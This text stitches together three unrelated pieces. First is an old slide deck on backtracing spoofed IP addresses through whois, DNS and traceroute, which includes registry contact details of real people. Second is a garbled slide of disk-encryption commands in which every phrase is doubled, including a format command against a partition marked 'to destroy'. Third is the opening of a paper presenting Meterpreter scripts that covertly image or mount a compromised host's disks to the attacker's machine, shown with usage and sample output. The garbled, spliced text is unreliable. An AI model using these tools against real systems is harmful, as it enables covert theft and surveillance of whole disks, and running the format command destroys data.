radiating safety (Gosatomnadzor of Russia) as the federal enforcement authority, organizes and carries out state regulation of safety at use of an atomic energy, nuclear materials, radioactive substances and products on their basis in the peace and defensive purposes (except for regulation of the activity connected to development, manufacturing, test, operation of the nuclear weapon and nuclear power installations of military purpose(assignment)). " The Backtracing Process Source IP Validation Confirm the Source of Traffic • Local Network • Extended Local Network (e.g. cable modem neighbor) • Internet Source IP Validation Exclude the „Martian Addresses‟ “A router SHOULD NOT forward any packet that has an invalid IP source address” RFC1812 - Requirements for IP Version 4 Routers – Section 5.3.7 Martian Address Filtering Broadcast 0.0.0.0/8 Loopback 127.0.0.0/8 Multicast 224.0.0.0/4 Limited Broadcast 255.255.255.255/32 Source IP Validation “The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for private internets: 10.0.0.0 - 10.255.255.255 (10/8 prefix) 172.16.0.0 - 172.31.255.255 (172.16/12 prefix) 192.168.0.0 - 192.168.255.255 (192.168/16 prefix)” Source IP Validation RFC1918 - Address Allocation for Private Internets Exclude Private Addresses # ENGLISH IP Address : 172.21.3.168-172.21.3.199 Connect ISP Name : DREAMX Connect Date : 20000622 Registration Date : 20000706 Network Name : DSB [ Organization Information ] Orgnization ID : ORG127773 Name : DSB State : PUSAN Address : Billra Dangrishinik 407 Dangri-Dong Zip Code : 604-010 [ Admin Contact Information] Name : YOUNGKIL SHIN Org Name : DREAMX State : SEOUL Address : 12F World Tower 7-25 Shincheon-Dong Songpa-Gu Zip Code : 138-240 Phone : +82-2-3434-1790 Fax : +82-2-3434-1799 E-Mail : [email protected] [ Technical Contact Information ] Name : SUKBONG KIM Org Name : DREAMX State : SEOUL Address : 12F World Tower 7-25 Shincheon-Dong Songpa-Gu Zip Code : 138-240 Phone : +82-2-3434-1768 Fax : +82-2-3434-1799 E-Mail : [email protected] Solution to the Korean Spam problem? RESERVED-9 1.0.0.0 - 1.255.255.255 RESERVED-2 2.0.0.0 - 2.255.255.255 PDN 14.0.0.0 - 14.255.255.255 RESERVED-23 23.0.0.0 - 23.255.255.255 RESERVED-31 31.0.0.0 - 31.255.255.255 RESERVED-37 37.0.0.0 - 37.255.255.255 RESERVED-39A 39.0.0.0 - 39.255.255.255 RESERVED-41A 41.0.0.0 - 41.255.255.255 RESERVED-58 58.0.0.0 - 58.255.255.255 RESERVED-59 59.0.0.0 - 59.255.255.255 RESERVED-60 60.0.0.0 - 60.255.255.255 RESERVED-7 69.0.0.0 - 79.255.255.255 RESERVED-11 82.0.0.0 - 95.255.255.255 RESERVED-8 96.0.0.0 - 126.255.255.255 Exclude IANA Addresses Note: This information is subject to change. Looking up „IANA‟ at ARIN.net will give you the current list. Source IP Validation RESERVED-3 128.0.0.0 - 128.0.255.255 BLACKHOLE.ISI.EDU 128.9.64.26 TEST-B 128.66.0.0 - 128.66.255.255 LINKLOCAL 169.254.0.0 - 169.254.255.255 RESERVED 191.255.0.0 - 191.255.255.255 RESERVED-192 192.0.0.0 - 192.0.127.255 ROOT-NS-LAB 192.0.0.0 - 192.0.0.255 NET-ROOTS-NS-LIVE 192.0.1.0 - 192.0.1.255 NET-TEST 192.0.2.0 - 192.0.2.255 RESERVED-2A 192.0.128.0 - 192.0.255.255 RESERVED-2-A 192.0.128.0 - 192.0.255.255 IANA-192 192.88.99.0 - 192.88.99.255 RESERVED-13 197.0.0.0 - 197.255.255.255 RESERVED-14 201.0.0.0 - 201.255.255.255 RESERVED 221.0.0.0 - 223.255.255.255 IANA Addresses contd… Source IP Validation Note possibly contrived bogus IPs improbable octet sequences • 1.2.3.4 • 5.6.7.8 nmap decoy addresses • 24.24.24.24 • 23.23.23.23 Source IP Validation "The weakness in this scheme [the Internet Protocol] is that the source host itself fills in the IP source host id, and there is no provision in ... TCP to discover the true origin of the packet." Robert T. Morris writing about IP in his 1985 paper “A Weakness in the 4.2BSD Unix† TCP/IP Software” Perform Spoof Detection Source IP Validation Traceroute Hop Count Step 1: Calculate the implied* hop count from the packet you received. The implied hop count is: Original packet TTL - Final TTL (where you received it) (Note that you must guess what the original TTL value is.) Step 2: Traceroute to the IP and get an actual hop count. If substantially different from the implied count, then the IP may be spoofed Spoof Detection Source IP Validation Default TTL Values +-------------------+----------+----------+ \| OS Version \| tcp_ttl \| udp_ttl \| +-------------------+----------+----------+ AIX 60 30 FreeBSD 2.1R 64 64 HP/UX 9.0x 30 30 HP/UX10.01 64 64 Irix 5.3 60 60 Irix 6.x 60 60 Linux 64 64 MacOS/MacTCP 2.0.x 60 60 OS/2 TCP/IP 3.0 64 64 OSF/1 V3.2A 60 30 Solaris 2.x 255 255 SunOS 4.1.3/4.1.4 60 60 MS Windows 95 32 32 MS Windows NT 3.51 32 32 MS Windows NT 4.0 128 128 Spoof Detection Source IP Validation Traceroute Hop Count Difficulties Type escape sequence to abort. Tracing the route to forthelife.net (216.144.196.7) 1 63.237.160.113 8 msec 12 msec 8 msec 2 lax-core-01.inet.qwest.net (205.171.19.149) 8 msec 8 msec 8 msec 3 sjo-core-03.inet.qwest.net (205.171.5.155) 16 msec 16 msec 16 msec 4 sjo-core-01.inet.qwest.net (205.171.22.10) 16 msec 16 msec 16 msec 5 sfo-core-02.inet.qwest.net (205.171.5.131) 20 msec 48 msec 16 msec 6 chi-core-01.inet.qwest.net (205.171.5.42) 72 msec 64 msec 68 msec 7 chi-core-03.inet.qwest.net (205.171.20.174) 64 msec 64 msec 76 msec 8 chi-edge-17.inet.qwest.net (205.171.20.154) 64 msec 64 msec 68 msec 9 63.149.1.70 80 msec 84 msec 84 msec 10 10.60.1.9 80 msec * 80 msec 11 172.16.250.1 96 msec 84 msec 88 msec 12 * * * 13 * * * Source IP Validation Spoof Detection Perform Route Validation A Looking Glass site allows you to access the routing table on a core router. Using this you can determine if any routes exist to the IP address you are interested in. http://lg.above.net/ http://nitrous.digex.net/cgi-bin/looking_glass.pl http://www.merit.edu/~ipma/tools/lookingglass.html Source IP Validation Spoof Example Source IP Validation No match for "182.1.1.2". %%%%%%%%%%%%%%%%%%% NO MATCH TIP %%%%%%%%%%%%%%%%%%%%%%%%% % % % ALL OF THE POINT OF CONTACT HANDLES IN THE ARIN % % WHOIS END WITH "-ARIN", IF YOU ARE QUERYING A POINT % % OF CONTACT HANDLE PLEASE ADD -ARIN TO YOUR QUERY. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% The ARIN Registration Services Host contains ONLY Internet Network Information: Networks, ASN's, and related POC's. Please use the whois server at rs.internic.net for DOMAIN related Information and whois.nic.mil for NIPRNET Information. Source IP Validation Spoof Example contd… Tame Backtrace Nslookup Performing a reverse DNS lookup with nslookup can sometimes yield the domain name of the IP address in question. Armed with that domain name, we can query for the domain‟s Start of Authority (SOA) contact information. Tame Backtrace Nslookup Example D:\>nslookup > set type=ptr > 26.22.209.24.in-addr.arpa Server: huey.cbeyond.net Address: 64.213.152.18 Non-authoritative answer: 26.22.209.24.in-addr.arpa name = dhcp024-209-022-026.cinci.rr.com > set type=soa > 26.22.209.24.in-addr.arpa Server: huey.cbeyond.net Address: 64.213.152.18 *** No start of authority (SOA) records available for 26.22.209.24.in-addr.arpa Tame Backtrace Nslookup Example contd… > 22.209.24.in-addr.arpa Server: huey.cbeyond.net Address: 64.213.152.18 Non-authoritative answer: 22.209.24.in-addr.arpa primary name server = ns1.columbus.rr.com responsible mail addr = noc.columbus.rr.com serial = 2000120401 refresh = 3600 (1 hour) retry = 900 (15 mins) expire = 604800 (7 days) default TTL = 3880 (1 hour 4 mins 40 secs) Tame Backtrace whois (IP) If a reverse DNS query on the IP address fails to turn up any results, the next place to look is in the ARIN whois registry. This can be accessed via HTTP, a whois client, or raw, via port 43. • If the domain portion of the whois email contact seems to be associated with the organization owning the netblock, then take that as the responsible domain • Do NOT use the contact mailbox for security issues unless it is a very small netblock (class C or less) Tame Backtrace ARIN Whois Query Syntax To find only a certain TYPE of record, use keyword: HOst ASn PErson ORganization NEtwork GRoup To search only a specific FIELD, use keyword or character: HAndle or "!" Mailbox or contains "@" NAme or leading "." Here are some additional Whois keywords: EXPand or "“ Shows all parts of display without asking Full or "=“ Shows detailed display for EACH match Help Enters the help program for full documentation PArtial or trailing ".“ Matches targets STARTING with the given string Q, QUIT, or Return Exits Whois SUBdisplay or "%“ Shows users of host, hosts on net, etc. SUMmary or "$“ Always shows summary, even if just one match Nice contact info here… Internet America (NETBLK-IADFW-BLK3) 350 N St. Paul Suite 200 Dallas TX 75201 US Netname: IADFW-BLK3 Netblock: 207.136.0.0 - 207.136.63.255 Maintainer: IAM Coordinator: Wommack, Mike (MW781-ARIN) [email protected] 123-456-7890 (FAX) 123-456-7890 Domain System inverse mapping provided by: NS1.IADFW.NET206.66.12.36 NS2.IADFW.NET204.178.72.30 Record last updated on 27-Dec-1996. Database last updated on 19-Jun-2001 23:00:59 EDT. Tame Backtrace Intermediate Backtrace Recursive whois (IP) Records that are not administered by ARIN are likely to be found at one of the other regional registries, RIPE and APNIC. Sometimes a query to ARIN will refer you to APNIC who, in turn, will direct you to JPNIC, KRNIC, or or one of the national registries. Intermediate Backtrace whois (domain) Cross-check the domain info returned from a IP based whois query with the domain whois records. Geektools runs a nice proxy that can be used for both IP and domain name queries. Intermediate Backtrace The State of .us “Under current administrative practices, the usTLD not only has no central database that can in turn create a central Whois, there is also no mechanism in place for delegees to provision database information to the central registry. Even if delegees wished to provide new Whois information to the usTLD administrator, that capability is currently nonexistent.” “NeuStar Response to SB1335- 01-Q- 0740” Part of NeuStar’s proposal for managing the .us TLD Intermediate Backtrace Mailbox validation You can use nslookup to get the mail server for a domain, and then manually you can VRFY addresses at the domain. If verification is turned off, you may want to check http://whois.abuse.net Intermediate Backtrace Advanced Backtrace Web Search If a whois query doesn‟t give you the appropriate domain, try a Google search on organization name adding parts* of the address info Advanced Backtrace Double Netblocks? Advanced Backtrace Search results for: 205.235.9.204 I-Wave Corp. (NETBLK-NET-IWAVE-HUB) NET-IWAVE-HUB 205.235.0.0 - 205.235.15.255 Cyberholdings Incorporated (NETBLK-CYBERHOLDINGS) CYBERHOLDINGS 205.235.0.0 - 205.235.15.255 Advanced Backtrace I-Wave Corp. (NETBLK-NET-IWAVE-HUB) 800 Towers Crescent Dr, ste 1350 Vienna, VA 22182 US Netname: NET-IWAVE-HUB Netblock: 205.235.0.0 - 205.235.15.255 Maintainer: WAVE Coordinator: Rosenbaum, Alex (AR143-ARIN) [email protected] (240) 462-8655 Domain System inverse mapping provided by: DNS1.HOY.NET205.235.2.130 NS2.CW.NET204.70.57.242 Record last updated on 10-Oct-1997. Database last updated on 21-Mar-2002 19:58:27 EDT. Double Netblocks? contd… Double Netblocks? contd… Advanced Backtrace Double Netblocks? contd… Advanced Backtrace Rwhois “RWhois (Referral Whois) extends and enhances the Whois concept in a hierarchical and scaleable fashion. In accordance with this, RWhois focuses primarily on the distribution of "network objects", or the data representing Internet resources or people, and uses the inherently hierarchical nature of these network objects (domain names, Internet Protocol (IP) networks, email addresses) to more accurately discover the requested information.” RFC2167 - Referral Whois (RWhois) Protocol V1.5 Advanced Backtrace Advanced Backtrace Rwhois Example Advanced Backtrace Rwhois Example contd… Registrant: David Oles (PMIMAGING2-DOM) 631 Mill Street San Marcos, TX 78666 US Domain Name: PMIMAGING.COM Administrative Contact, Technical Contact: Melancon, Mark (ILLYVXOEGO)[email protected] Pixel Magic Imagin/IT Manager 631 Mill Street San Marcos , TX 78666 US 512 396 7251 Fax- 512 396 8767 Routing Registry (RR Records) Internet routing registries, as described in the Routing Policy Specification Language, RPSL (RFC2280) document, provides a view of the global routing policy to improve the integrity of the Internet's routing. Advanced Backtrace Success with RR Click Network/Local Access (NETBLK-GBX-REQ000000014080) 1111 Altheimer Street South Tacoma, WA 98402 US Netname: GBX-REQ000000014080 Netblock: 208.51.248.0 - 208.51.251.255 Coordinator: Global Crossing (IA12-ORG-ARIN) [email protected] +1 800 404-7714 Record last updated on 29-Nov-2001. Database last updated on 28-Apr-2002 19:58:33 EDT. The ARIN Registration Services Host contains ONLY Internet Network Information: Networks, ASN's, and related POC's. Please use the whois server at rs.internic.net for DOMAIN related Information and whois.nic.mil for NIPRNET Information. Advanced Backtrace % ARIN Internet Routing Registry Whois Interface route: 208.51.251.0/24 descr: Customer Local Access origin: AS20394 notify: [email protected] mnt-by: MAINT-AS14677 changed: [email protected] 20020110 source: RADB route: 208.48.0.0/14 descr: GBLX-US-AGGREGATE origin: AS3549 mnt-by: GBLX-RIPE-MNT changed: [email protected] 19991229 source: RIPE Success with RR contd… Advanced Backtrace Extreme Backtrace Mail Banner? Telnet to port 25 and see if the IP address runs a mailserver and has possibly published a useful banner. Other well known ports may be tried as well (POP, FTP, etc.) Extreme Backtrace Contact information gleaned from SSL Cert. Extreme Backtrace Gone too far? % This is the RIPE Whois server. % The objects are in RPSL format. % Please visit http://www.ripe.net/rpsl for more information. % Rights restricted by copyright. % See http://www.ripe.net/ripencc/pub-services/db/copyright.html inetnum: 62.36.225.184 - 62.36.225.187 netname: EMSERTEX descr: Red de EMSERTEX descr: Spain country: ES admin-c: EDMO-RIPE tech-c: REPR-RIPE status: ASSIGNED PA mnt-by: UNI2-MNT changed: [email protected] 20020419 source: RIPE route: 62.36.0.0/16 descr: Uni2 PA Block 1 origin: AS12479 mnt-by: UNI2-MNT changed: [email protected] 19990806 Extreme Backtrace ftp> open 62.36.225.185 Connected to 62.36.225.185. 220 m3hdesmertex FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready. User (62.36.225.185:(none)): Gone too far? contd… Extreme Backtrace Gone too far? contd… Extreme Backtrace Gone too far? contd… Registrant: Acosta Gestion S.L. C/Severo Ochoa Madrid, Madrid 28230 ES Domain Name: PORTALADULTOS.COM Administrative Contact, Technical Contact, Zone Contact: Acosta Gestion S.L. Esteban Acosta Calle Dr. Madrid 1 Madrid, Madrid 28220 ES 011916340101 [email protected] Domain created on 21-May-2001 Domain expires on 21-May-2003 Last updated on 29-Apr-2002 Domain servers in listed order: DNS.COMTENIDOS.COM 62.37.225.56 DNS2.COMTENIDOS.COM 62.37.225.57 Extreme Backtrace Still no answer? Identify responsible AS Lookup IP in BGP route tables to identify which Autonomous System is responsible for the route. Then, identify the responsible domain by doing recursive Whois AS lookups. Still no answer? The Quality of AS data Advanced Backtrace The Quality of AS data contd… Advanced Backtrace Advanced Backtrace The Quality of AS data contd… Netbios enabled? See if IP has Netbios enabled and can receive a Winpopup message Example (From DOS) C:\> nbtstat -A 24.24.24.24 If you get a response, then: C:\> net send 24.24.24.24 "FYI, You've been hacked, .... instructions ..." Still no answer? Netbios Backtrace D:\gdtest>nbtstat -A 208.254.151.185 Local Area Connection: Node IpAddress: [172.16.1.169] Scope Id: [] NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- HLM <00> UNIQUE Registered ADDUCCI_DORF <00> GROUP Registered HLM <03> UNIQUE Registered HLM <20> UNIQUE Registered ADDUCCI_DORF <1E> GROUP Registered MAC Address = 00-50-8B-6A-32-63 Still no answer? Netbios Backtrace Contd… D:\>tracert 208.254.151.185 Tracing route to HLM [208.254.151.185] over a maximum of 30 hops: 1 10 ms <10 ms <10 ms host121.mynetwatchman.com [64.238.113.121] 2 <10 ms <10 ms 10 ms 172.16.41.165 3 <10 ms 10 ms <10 ms car00-s6-0-1.atlagabu.cbeyond.net [192.168.14.17] 4 <10 ms 10 ms <10 ms bgr00-g2-0.atlagabu.cbeyond.net [192.168.18.49] 5 <10 ms 10 ms 10 ms s1-0-0.ar1.ATL1.gblx.net [64.211.166.201] 6 <10 ms 10 ms 10 ms pos2-0-155M.cr1.ATL1.gblx.net [206.132.115.113] 7 <10 ms 10 ms 10 ms pos0-0-0-155M.br1.ATL1.gblx.net [206.132.115.118] 8 <10 ms 10 ms 10 ms 57.ATM2-0.BR1.ATL5.ALTER.NET [204.255.168.137] 9 <10 ms 10 ms 10 ms 0.so-2-3-0.XL2.ATL5.ALTER.NET [152.63.82.194] 10 <10 ms 10 ms 10 ms 0.so-1-2-0.TL2.ATL5.ALTER.NET [152.63.146.2] 11 40 ms 31 ms 40 ms 0.so-6-0-2.TL2.CHI4.ALTER.NET [152.63.13.45] 12 40 ms 40 ms 40 ms 0.so-0-0-0.XL2.CHI4.ALTER.NET [152.63.13.33] 13 30 ms 40 ms 40 ms 0.so-4-0-0.XR2.CHI4.ALTER.NET [152.63.2.58] 14 40 ms 40 ms 40 ms 194.ATM7-0.GW4.CHI1.ALTER.NET [152.63.68.229] 15 50 ms 40 ms 50 ms HLM [208.254.151.185] Trace complete. Still no answer? Netbios Backtrace Contd… Still no answer? Netbios Backtrace Contd… Still no answer? Netbios Backtrce Contd… Still no answer? Registrant: Adducci,Dorf,Lehner,Mitchell & Blankenship (ADLMB-DOM) 150 N. Michigan Ave, Suite 2130 Chicago, IL 60601 US Domain Name: ADLMB.COM Administrative Contact: Blankenship, Martin (MBM810)[email protected] Adducci,Dorf,Lehner,Mitchell & Blankenship 150 N. Michigan Ave, Suite 2130 Chicago , IL 60601 312.781.2800 (FAX) 312.781.7811 Technical Contact: eLink Support (ES786-ORG)[email protected] eLink Communications 6708 Wisconsin Avenue Bethesda, MD 20815 US 240-744-1300 Fax- 240-744-1320 Record expires on 11-Dec-2002. Record created on 11-Dec-2000. Database last updated on 10-Jul-2002 21:21:15 EDT If all else fails… Punt! Move 1 hop upstream as indicated by a traceroute and then repeat the whole backtracing process until you find a provider. Get as close as possible % This is the RIPE Whois server. % The objects are in RPSL format. % Please visit http://www.ripe.net/rpsl for more information. % Rights restricted by copyright. % See http://www.ripe.net/ripencc/pub-services/db/copyright.html inetnum: 62.220.108.0 - 62.220.111.255 netname: Intercompro descr: Intercompro Communication Provider country: IR admin-c: HS400-RIPE tech-c: HE81-RIPE status: ASSIGNED PA notify: [email protected] mnt-by: TKT-MNT mnt-lower: TKT-MNT mnt-routes: TKT-MNT changed: [email protected] 20011206 source: RIPE route: 62.220.96.0/19 descr: Takta-Net origin: AS21341 mnt-by: TKT-MNT changed: [email protected] 20020107 … C:\nslookup > set type=mx > intercompro.net * No mail exchange (MX) records available for intercompro.net > set type=a > intercompro.net * No address (A) records available for intercompro.net > Get as close as possible contd… Tracing route to 62.220.111.241 over a maximum of 30 hops 1 <10 ms <10 ms 10 ms host121.mynetwatchman.com [64.238.113.121] 2 <10 ms <10 ms 10 ms 172.16.41.165 3 <10 ms 10 ms <10 ms car00-s6-0-1.atlagabu.cbeyond.net [192.168.14.17] 4 <10 ms 10 ms <10 ms bgr00-g2-0.atlagabu.cbeyond.net [192.168.18.49] 5 <10 ms 10 ms <10 ms s1-0-0.ar1.ATL1.gblx.net [64.211.166.201] 6 <10 ms 10 ms 10 ms pos2-0-155M.cr2.ATL1.gblx.net [206.132.115.121] 7 30 ms 30 ms 20 ms pos1-0-622M.cr2.NYC2.gblx.net [206.132.249.170] 8 20 ms 30 ms 20 ms pos1-0-2488M.br2.NYC2.gblx.net [208.48.234.214] 9 20 ms 30 ms 20 ms ftna.br2.NYC2.gblx.net [208.51.134.22] 10 20 ms 30 ms 20 ms P10-0.NYKCR3.NY.opentransit.net [193.251.241.245] 11 20 ms 30 ms 20 ms P11-0.NYKCR2.NY.opentransit.net [193.251.241.217] 12 100 ms 101 ms 100 ms P4-0.PASCR1.Pstrl.opentransit.net [193.251.241.133] 13 100 ms 100 ms 110 ms P3-0.PASCR3.Pstrl.opentransit.net [193.251.241.126] 14 100 ms 100 ms 110 ms P9-0.PASBB1.Pstrl.opentransit.net [193.251.241.161] 15 101 ms 100 ms 110 ms P8-0-0.PASAR1.Pstrl.opentransit.net [193.251.128.70] 16 100 ms 100 ms 101 ms GlobeCastSerte.GW.opentransit.net [193.251.248.122] 17 100 ms 100 ms 100 ms 10.30.0.14 18 621 ms 631 ms 621 ms 62.220.96.125 19 631 ms 631 ms 621 ms 62.220.96.2 20 631 ms 620 ms 631 ms 62.220.100.7 21 621 ms 621 ms 621 ms 62.220.101.131 22 621 ms 631 ms 621 ms 62.220.111.241 Trace complete. Get as close as possible contd… % This is the RIPE Whois server. % The objects are in RPSL format. % Please visit http://www.ripe.net/rpsl for more information. % Rights restricted by copyright. % See http://www.ripe.net/ripencc/pub-services/db/copyright.html inetnum: 62.220.96.0 - 62.220.107.255 netname: TAKTA-NET descr: Takta Co. Access Service Provider country: IR admin-c: TR47-RIPE tech-c: TR47-RIPE status: ASSIGNED PA mnt-by: TKT-MNT mnt-lower: TKT-MNT mnt-routes: TKT-MNT changed: [email protected] 20011025 source: RIPE route: 62.220.96.0/19 descr: Takta-Net origin: AS21341 mnt-by: TKT-MNT changed: [email protected] 20020107 source: RIPE Get as close as possible contd… Conclusion Are the calls coming from inside the house? Unless you do Backtracing, you will never know the true source of an attack... or whether a packet was spoofed? However, even backtracing can't solve incorrect, non- existent, or just plain stale data present in some of the databases. Conclusion You do read your logs, right? If not, consider having a service do it for you automatically, or use your own open-source tools to do it. • http://www.mynetwatchman.com • http://www.dshield.org • Swatch • Logsentry Conclusion References “Avoiding future denial-of-service attacks” by Denise Pappalardo. Posted on CNN.com February 23, 2000 http://www.cnn.com/2000/TECH/computing/02/23/isp.block.idg/index.html Gan.ru. The Nuclear Regulatory Agency in Russia. http://www.gan.ru http://www.mynetwatchman.com/LID.asp?IID=4875813 RFC 1812 http://www.faqs.org/rfcs/rfc1812.html RFC 1918 http://www.faqs.org/rfcs/rfc1918.html Solution to the Korean Spam Problem Example http://www.merit.edu/mail.archives/nanog/2002-04/msg00029.html http://www.merit.edu/mail.archives/nanog/2002-04/msg00044.html “A Weakness in the 4.2BSD Unix† TCP/IP Software” by Robert T. Morris http://www.pdos.lcs.mit.edu/rtm/papers/117.pdf “NMAP: Decoy Analysis” by Max Vision http://www.whitehats.com/library/nmap/index.html Default TTL values. http://www.switch.ch/docs/ttl_default.html. http://216.239.35.100/search?q=cache:ybcsLpJuwS0C:www.switch.ch/docs/ttl_default.html+NT+Default+TTL&hl=en&ie=UTF-8 References - Page 1 Traceroute Hop Count Difficulties Example http://www.merit.edu/mail.archives/nanog/2000-12/msg00143.html Looking Glass Sites http://lg.above.net/ http://nitrous.digex.net/cgi-bin/looking_glass.pl Spoofed IP Example http://www.mynetwatchman.com/LID.asp?IID=5415491 Nslookup Example http://www.mynetwatchman.com/LID.asp?IID=5942546 Nice contact info here… Example http://www.mynetwatchman.com/LID.asp?IID=5412503 Regional NICs http://www.arin.net http://www.apnic.net http://www.ripe.net Geektools whois proxy. http://www.geektools.com Operational ICANN Accredited Domain Registrars http://www.internic.net/alpha.html References - Page 2 “NeuStar Response to SB1335- 01-Q- 0740” http://www.ntia.doc.gov/ntiahome/domainname/usca/cafiles/SectionE.pdf Abuse Net http://www.abuse.net Rwhois http://www.rwhois.net/ Success with RR Example http://www.mynetwatchman.com/LID.asp?IID=4171992 Gone Too Far? Example http://www.mynetwatchman.com/LID.asp?IID=4162328 Netbios Backtrace Example http://www.mynetwatchman.com/LID.asp?IID=6024235 Distributed IDSs http://www.myNetWatchman.com http://www.dshield.org References - Page 3 Appendix A: ISP Anti-spoof Techniques Ingress Filtering “If an ISP is aggregating routing announcements for multiple downstream networks, strict traffic filtering should be used to prohibit traffic which claims to have originated from outside of these aggregated announcements.” RFC2267 - Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing ISP Anti-Spoof Techniques Input Debugging Input Debugging allows an operator to filter particular packets on some egress port and determine which ingress port they arrived on. This reveals which upstream router originated the traffic. The process is repeated recursively until the the ISP‟s border is reached. From there, the upstream ISP must be contacted to continue the trace. ISP Anti-Spoof Techniques Backscatter ISP Anti-Spoof Techniques Backscatter Technique - “BGP implementations on Cisco and Juniper routers (possibly others) allow you to arbitrarily set the 'next-hop' to any IP address. This quirk can be used to your benefit when tracking spoofed traffic. By setting particular prefixes to a known and specially handled 'next-hop', we can get some unique traffic tracking information off the network.”	pdf
I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I cd cd /home/ /home/tjmunn tjmunn/.loop /.loop I I insmod insmod -f loop.o -f loop.o I I mount / mount /dev dev/sda3 /.keys /sda3 /.keys I I #created #created symlink symlink from . from .gnupg gnupg in root's in root's directory to external disk link directory to external disk link I I cd cd /root/. /root/.gnupg gnupg I I gpg gpg --decrypt < --decrypt < keyfile keyfile..asc asc \| mount -p \| mount -p 0 -t ext3 / 0 -t ext3 /dev dev/sda2 /home -o /sda2 /home -o loop=/ loop=/dev dev/loop0,encryption=AES192 /loop0,encryption=AES192 I I This is covered in the This is covered in the readme readme!!! !!! I I head -c 45 / head -c 45 /dev dev/random \| uuencode -m - /random \| uuencode -m - \| head -2 \| tail -1 \| \| head -2 \| tail -1 \| gpg gpg -e -a -r -e -a -r ”Email/ ”Email/userid userid of key!" > of key!" > keyfile keyfile..asc asc I I gpg gpg --decrypt < --decrypt < keyfile keyfile..asc asc\|\|losetup losetup -p -p 0 -e AES192 / 0 -e AES192 /dev dev/loop3 / /loop3 /dev dev/sda3 /sda3 (partition to destroy!) (partition to destroy!) I I mkfs mkfs -t -j ext2 / -t -j ext2 /dev dev/loop3 /loop3 I I losetup losetup -d / -d /dev dev/loop3 /loop3	pdf
Covert Post-Exploitation Forensics With Metasploit Tools and Examples R. Wesley McGrew [email protected] http://mcgrewsecurity.com Mississippi State University National Forensics Training Center http://msu-nftc.org Introduction In digital forensics, most examinations take place after the hardware has been physically seized (in most law enforcement scenarios) or a preinstalled agent allows access (in the case of enterprise forensics packages). There are existing tools that allow for forensic examination of storage media, that allow for the recovery of data from (but not limited to) deleted files, unallocated space, and the slack space between the ends of files and the next sector/cluster boundaries. The above scenarios imply that the “subject” (the one in possession of the media) is aware of the fact that their data has been seized or subject to remote access. There are situations where this may not be desirable for an examiner: • Penetration testing • Evidence seizure when physical location is unknown • Surreptitious monitoring While existing tools (such as those in the Metasploit framework) allow “attackers” to navigate and selectively download portions of the target’s filesystem without the subject’s knowledge, this does not compare to the feature set of a true file-system forensic examination. It would be a boon for a penetration tester to have the ability to find data that had previously been deleted by the subject for “compliance”. It would be useful for intelligence gathering to be able to data carve for old versions of documents or emails. In this paper, and the accompanying talk, three new Meterpreter scripts will be introduced that will allow for existing digital forensic tools to be used in a more cover context. These tools allow for remote imaging of subject filesystems and disks, as well as mapping remote filesystems to local block devices. Examples are given on how to use these tools to combine the capabilities of the Metasploit framework to those of modern digital forensic tools. Tools The tools developed for covert post-exploitation forensics are ruby scripts meant to be run from the shell in Metasploit’s Meterpreter payload. They make extensive use of Patrick HVE’s meterpreter extension, Railgun, to make Windows API calls on the remote host. Imager.rb provides a “dd” like interface for creating local byte-for-byte images of remote physical drives and logical filesystems. NBDServer.rb allows the attacker to map a remote drive to a Network Block Device which can be mounted read-only or analyzed directly locally to the attacker. Listdevices.rb is a support script that enumerates remote physical devices and logical filesystems. listdevices.rb Purpose Enumerates the compromised host’s \\.\PhysicalDriveX filenames for physical storage devices, as well as drive letters for logical filesystem volumes. The resulting names can be used in imager.rb or nbdserver.rb arguments. Usage meterpreter > run listdrives.rb -h USAGE: run listdrives OPTIONS: -h Help menu. -m <opt> Maximum physical drive number (Default: 10) There is a delay associated with each Windows API call over Railgun, so in the interests of time, listdrives.rb only iterates through the first ten possible physical drive numbers. If you have reason to believe your target has more (a previous run showed all ten active, maybe), feel free to specify a higher maximum Sample output meterpreter > run listdrives.rb Device Name: Type: Size (bytes): ------------ ----- ------------- <Physical Drives:> \\.\PhysicalDrive0 Fixed 21474836480 \\.\PhysicalDrive1 Fixed 42949672960 \\.\PhysicalDrive2 Removable 1998585344 <Logical Drives:> \\.\A: 78 \\.\C: Fixed 42949672960 \\.\D: 78 \\.\E: Removable 1998585344 imager.rb Purpose Imager.rb allows for making byte-for-byte copies of physical volumes and logical drives on the target system over the network to image files on the attacker’s computer. It provides a set of options that will seem familiar to those experienced with imaging drives locally, such as split image files and MD5/SHA1 hashing. Usage meterpreter > run imager -h USAGE: run imager -d devicename OPTIONS: -b <opt> Block size in bytes (multiple of 512) (Default: 1048576) -c <opt> Skip <opt> blocks (Default: 0) -d <opt> Device to image ("run listdrives" for possible names) -h Help menu. -n <opt> Read only <opt> blocks (Default: 0 (read till end)) -o <opt> Output filename without extension (Default: image) -s <opt> Split image every <opt> bytes (Default: 1610612736) (Don't split: 0) Those familiar with imaging drives with dd will notice that the default block size is considerably higher than is typical for imaging drives locally. Making API calls through Railgun incurs some delay, on top of the expected speed issues caused network bandwidth and latency. Setting a high block size makes for less frequent API calls, improving the speed. Imaging may take a very long time. If the session dies for any reason, the -c skip option can be used to skip over the portion of the target that has already been imaged. In the current version, this process is not automated, but it is a relatively simple matter to determine how large the existing image is, determine how many blocks to skip, and stitch the old and new images back together with dd. Split image files created with this tool are supported by most forensics software (The Sleuth Kit and FTK Imager, for example). Sample Output meterpreter > run imager -d //./PhysicalDrive2 Started imaging //./PhysicalDrive2 to image.001 ...continuing with image.002 Finished! MD5 : 0009544b13fba447ee1d5150d2339378 SHA1 : a669ab2e1cec053ace2a94c4f9b94140621720a5 nbdserver.rb Purpose NBDserver.rb allows for mapping a remote physical drive or logical volume to a local block device on Linux systems (or other systems that support the Network Block Device protocol). It starts a TCP server up on the specified port and listens for connections from nbd-client. Reads from a /dev/nbdX block device are fulfilled by reading the data over the network from the compromised system. To the attacker, what this means is that any forensic technique or software designed to be used on a disk image or block device can be executed on the attacker’s system, targeting the remote system. The target filesystem can even be mounted read-only on the attacker’s system if that is desired. This provides for huge speed increases over imaging the remote device in cases where forensic software can calculate where on the disk the desired evidence is likely to be (recovering recently deleted files, for 